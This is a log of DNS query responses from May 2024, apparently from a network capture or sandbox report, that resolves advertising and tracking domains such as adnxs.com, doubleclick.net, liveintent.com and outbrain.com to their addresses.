May 25, 2024 00:46:02.359503984 CEST	1.1.1.1	192.168.2.6	0xf462	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.359503984 CEST	1.1.1.1	192.168.2.6	0xf462	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.359503984 CEST	1.1.1.1	192.168.2.6	0xf462	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.392868042 CEST	1.1.1.1	192.168.2.6	0x5a86	No error (0)	t.co		104.244.42.5	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.397654057 CEST	1.1.1.1	192.168.2.6	0x80b8	No error (0)	people.api.boomtrain.com		52.54.118.196	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.397654057 CEST	1.1.1.1	192.168.2.6	0x80b8	No error (0)	people.api.boomtrain.com		54.159.213.190	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.397654057 CEST	1.1.1.1	192.168.2.6	0x80b8	No error (0)	people.api.boomtrain.com		54.167.181.145	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600199938 CEST	1.1.1.1	192.168.2.6	0x21ac	No error (0)	trkn.us		95.101.111.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600199938 CEST	1.1.1.1	192.168.2.6	0x21ac	No error (0)	trkn.us		95.101.111.153	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600265026 CEST	1.1.1.1	192.168.2.6	0x2bd2	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600265026 CEST	1.1.1.1	192.168.2.6	0x2bd2	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600265026 CEST	1.1.1.1	192.168.2.6	0x2bd2	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.600265026 CEST	1.1.1.1	192.168.2.6	0x2bd2	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.726128101 CEST	1.1.1.1	192.168.2.6	0x6f45	No error (0)	adservice.google.com		142.250.186.98	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.726140976 CEST	1.1.1.1	192.168.2.6	0x381e	No error (0)	adservice.google.com		142.250.184.226	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.726152897 CEST	1.1.1.1	192.168.2.6	0xb299	No error (0)	adservice.google.com			65	IN (0x0001)	false
May 25, 2024 00:46:02.955262899 CEST	1.1.1.1	192.168.2.6	0x3bd2	No error (0)	collector-11598.tvsquared.com	collectorj.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.955262899 CEST	1.1.1.1	192.168.2.6	0x3bd2	No error (0)	collectorj.tvsquared.com		3.141.243.186	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.955262899 CEST	1.1.1.1	192.168.2.6	0x3bd2	No error (0)	collectorj.tvsquared.com		52.14.63.166	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.955285072 CEST	1.1.1.1	192.168.2.6	0xec9	No error (0)	collector-11598.tvsquared.com	collectorj.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.187017918 CEST	1.1.1.1	192.168.2.6	0x36e6	No error (0)	t.co		104.244.42.133	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.191853046 CEST	1.1.1.1	192.168.2.6	0xef40	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.191853046 CEST	1.1.1.1	192.168.2.6	0xef40	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.191853046 CEST	1.1.1.1	192.168.2.6	0xef40	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.191865921 CEST	1.1.1.1	192.168.2.6	0x3297	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.191865921 CEST	1.1.1.1	192.168.2.6	0x3297	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.301321030 CEST	1.1.1.1	192.168.2.6	0xf1e6	No error (0)	events.api.boomtrain.com		18.211.251.153	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.301321030 CEST	1.1.1.1	192.168.2.6	0xf1e6	No error (0)	events.api.boomtrain.com		35.174.212.35	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.301321030 CEST	1.1.1.1	192.168.2.6	0xf1e6	No error (0)	events.api.boomtrain.com		3.90.71.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.310858011 CEST	1.1.1.1	192.168.2.6	0x2a08	No error (0)	people.api.boomtrain.com		54.159.213.190	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.310858011 CEST	1.1.1.1	192.168.2.6	0x2a08	No error (0)	people.api.boomtrain.com		52.54.118.196	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.310858011 CEST	1.1.1.1	192.168.2.6	0x2a08	No error (0)	people.api.boomtrain.com		54.167.181.145	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		107.21.124.38	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		3.229.226.156	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		3.211.160.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		34.236.200.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		34.203.21.209	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		23.20.128.251	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		54.204.82.154	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320530891 CEST	1.1.1.1	192.168.2.6	0xf721	No error (0)	idaas-ext.cph.liveintent.com		54.85.88.207	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.320539951 CEST	1.1.1.1	192.168.2.6	0xf750	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	secure.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.406394005 CEST	1.1.1.1	192.168.2.6	0x73d5	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.426762104 CEST	1.1.1.1	192.168.2.6	0x46c4	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.426774979 CEST	1.1.1.1	192.168.2.6	0x6e24	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.431528091 CEST	1.1.1.1	192.168.2.6	0xfa8b	No error (0)	20823298p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.431528091 CEST	1.1.1.1	192.168.2.6	0xfa8b	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.436297894 CEST	1.1.1.1	192.168.2.6	0xea13	No error (0)	20823298p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.436297894 CEST	1.1.1.1	192.168.2.6	0xea13	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.946202993 CEST	1.1.1.1	192.168.2.6	0xc714	No error (0)	i.simpli.fi		35.204.89.238	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.946202993 CEST	1.1.1.1	192.168.2.6	0xc714	No error (0)	i.simpli.fi		35.234.162.151	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.973664045 CEST	1.1.1.1	192.168.2.6	0xc91a	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.973664045 CEST	1.1.1.1	192.168.2.6	0xc91a	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.973674059 CEST	1.1.1.1	192.168.2.6	0x2da1	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.973674059 CEST	1.1.1.1	192.168.2.6	0x2da1	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:03.973674059 CEST	1.1.1.1	192.168.2.6	0x2da1	No error (0)	s.twitter.com		104.244.42.131	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.012012005 CEST	1.1.1.1	192.168.2.6	0x4b80	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.012012005 CEST	1.1.1.1	192.168.2.6	0x4b80	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.012012005 CEST	1.1.1.1	192.168.2.6	0x4b80	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.268460035 CEST	1.1.1.1	192.168.2.6	0x892c	No error (0)	lptag.liveperson.net	lptag.liveperson.cotcdb.net.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.268526077 CEST	1.1.1.1	192.168.2.6	0xd9b5	No error (0)	lptag.liveperson.net	lptag.liveperson.cotcdb.net.livepersonk.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.268570900 CEST	1.1.1.1	192.168.2.6	0xedd8	No error (0)	px0.pbbl.co		35.190.76.233	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.286612988 CEST	1.1.1.1	192.168.2.6	0xa5fa	No error (0)	events.api.boomtrain.com		3.90.71.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.286612988 CEST	1.1.1.1	192.168.2.6	0xa5fa	No error (0)	events.api.boomtrain.com		35.174.212.35	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.286612988 CEST	1.1.1.1	192.168.2.6	0xa5fa	No error (0)	events.api.boomtrain.com		18.211.251.153	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.402681112 CEST	1.1.1.1	192.168.2.6	0x5223	No error (0)	p.tvpixel.com		75.2.57.54	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.402681112 CEST	1.1.1.1	192.168.2.6	0x5223	No error (0)	p.tvpixel.com		99.83.205.94	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.891370058 CEST	1.1.1.1	192.168.2.6	0x5403	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.891387939 CEST	1.1.1.1	192.168.2.6	0x18e3	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.891387939 CEST	1.1.1.1	192.168.2.6	0x18e3	No error (0)	idaas6.cph.liveintent.com		52.44.96.219	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.891387939 CEST	1.1.1.1	192.168.2.6	0x18e3	No error (0)	idaas6.cph.liveintent.com		52.21.87.204	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.891387939 CEST	1.1.1.1	192.168.2.6	0x18e3	No error (0)	idaas6.cph.liveintent.com		52.72.161.168	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.959419966 CEST	1.1.1.1	192.168.2.6	0xa6fb	No error (0)	aa.agkn.com	ActivationEdge-activation-1631408035.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.959436893 CEST	1.1.1.1	192.168.2.6	0x2a87	No error (0)	aa.agkn.com	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:04.959436893 CEST	1.1.1.1	192.168.2.6	0x2a87	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		34.252.112.229	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.959436893 CEST	1.1.1.1	192.168.2.6	0x2a87	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		54.171.139.95	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.959436893 CEST	1.1.1.1	192.168.2.6	0x2a87	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		52.16.132.124	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.959436893 CEST	1.1.1.1	192.168.2.6	0x2a87	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		54.195.194.200	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.021064043 CEST	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	um.simpli.fi		35.204.74.118	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.021064043 CEST	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	um.simpli.fi		34.91.62.186	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.021064043 CEST	1.1.1.1	192.168.2.6	0x9f5f	No error (0)	um.simpli.fi		35.204.158.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.025886059 CEST	1.1.1.1	192.168.2.6	0xfa08	No error (0)	cm.g.doubleclick.net		142.250.185.130	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.426398993 CEST	1.1.1.1	192.168.2.6	0xc723	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.730648994 CEST	1.1.1.1	192.168.2.6	0x2e5	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:05.730648994 CEST	1.1.1.1	192.168.2.6	0x2e5	No error (0)	idaas6.cph.liveintent.com		52.44.96.219	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.730648994 CEST	1.1.1.1	192.168.2.6	0x2e5	No error (0)	idaas6.cph.liveintent.com		52.21.87.204	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.730648994 CEST	1.1.1.1	192.168.2.6	0x2e5	No error (0)	idaas6.cph.liveintent.com		52.72.161.168	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.731355906 CEST	1.1.1.1	192.168.2.6	0x4ff0	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:05.873661041 CEST	1.1.1.1	192.168.2.6	0x4cf8	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:05.873675108 CEST	1.1.1.1	192.168.2.6	0xe62d	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.023536921 CEST	1.1.1.1	192.168.2.6	0x3d13	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
May 25, 2024 00:46:06.023550034 CEST	1.1.1.1	192.168.2.6	0x412e	No error (0)	googleads.g.doubleclick.net		172.217.16.130	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.030993938 CEST	1.1.1.1	192.168.2.6	0x1263	No error (0)	s.ad.smaato.net		18.239.94.101	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.030993938 CEST	1.1.1.1	192.168.2.6	0x1263	No error (0)	s.ad.smaato.net		18.239.94.92	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.030993938 CEST	1.1.1.1	192.168.2.6	0x1263	No error (0)	s.ad.smaato.net		18.239.94.61	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.030993938 CEST	1.1.1.1	192.168.2.6	0x1263	No error (0)	s.ad.smaato.net		18.239.94.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.059519053 CEST	1.1.1.1	192.168.2.6	0xf24c	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.059528112 CEST	1.1.1.1	192.168.2.6	0xe61f	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.059528112 CEST	1.1.1.1	192.168.2.6	0xe61f	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.059528112 CEST	1.1.1.1	192.168.2.6	0xe61f	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.059536934 CEST	1.1.1.1	192.168.2.6	0xe33b	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.059545994 CEST	1.1.1.1	192.168.2.6	0xcd36	No error (0)	pixel.tapad.com		34.111.113.62	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074202061 CEST	1.1.1.1	192.168.2.6	0x21cc	No error (0)	simplifi.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	simplifi.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.236.18.253	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.227.245.243	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.162.127.98	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.54.188.207	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.206.213.39	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.231.123.13	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.146.9.214	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.074212074 CEST	1.1.1.1	192.168.2.6	0xe285	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.232.240.250	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.138555050 CEST	1.1.1.1	192.168.2.6	0x57db	No error (0)	aa.agkn.com	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.138555050 CEST	1.1.1.1	192.168.2.6	0x57db	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		34.252.112.229	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.138555050 CEST	1.1.1.1	192.168.2.6	0x57db	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		54.171.139.95	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.138555050 CEST	1.1.1.1	192.168.2.6	0x57db	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		54.195.194.200	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.138555050 CEST	1.1.1.1	192.168.2.6	0x57db	No error (0)	ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com		52.16.132.124	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.138569117 CEST	1.1.1.1	192.168.2.6	0xdf22	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:06.924139023 CEST	1.1.1.1	192.168.2.6	0xfd28	No error (0)	px0.pbbl.co		35.190.76.233	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.994940042 CEST	1.1.1.1	192.168.2.6	0x52e9	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.994957924 CEST	1.1.1.1	192.168.2.6	0x337b	No error (0)	www.google.com			65	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	simplifi.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.232.240.250	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.231.123.13	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.206.213.39	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.88.238.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.236.18.253	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.23.24.6	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.162.127.98	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.005218983 CEST	1.1.1.1	192.168.2.6	0x4f79	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.54.188.207	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.040293932 CEST	1.1.1.1	192.168.2.6	0xe99a	No error (0)	simplifi.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.040311098 CEST	1.1.1.1	192.168.2.6	0xbcfa	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.040311098 CEST	1.1.1.1	192.168.2.6	0xbcfa	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.040311098 CEST	1.1.1.1	192.168.2.6	0xbcfa	No error (0)	nydc1.outbrain.org		64.202.112.255	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:07.040323019 CEST	1.1.1.1	192.168.2.6	0x2f1b	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:07.040323019 CEST	1.1.1.1	192.168.2.6	0x2f1b	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
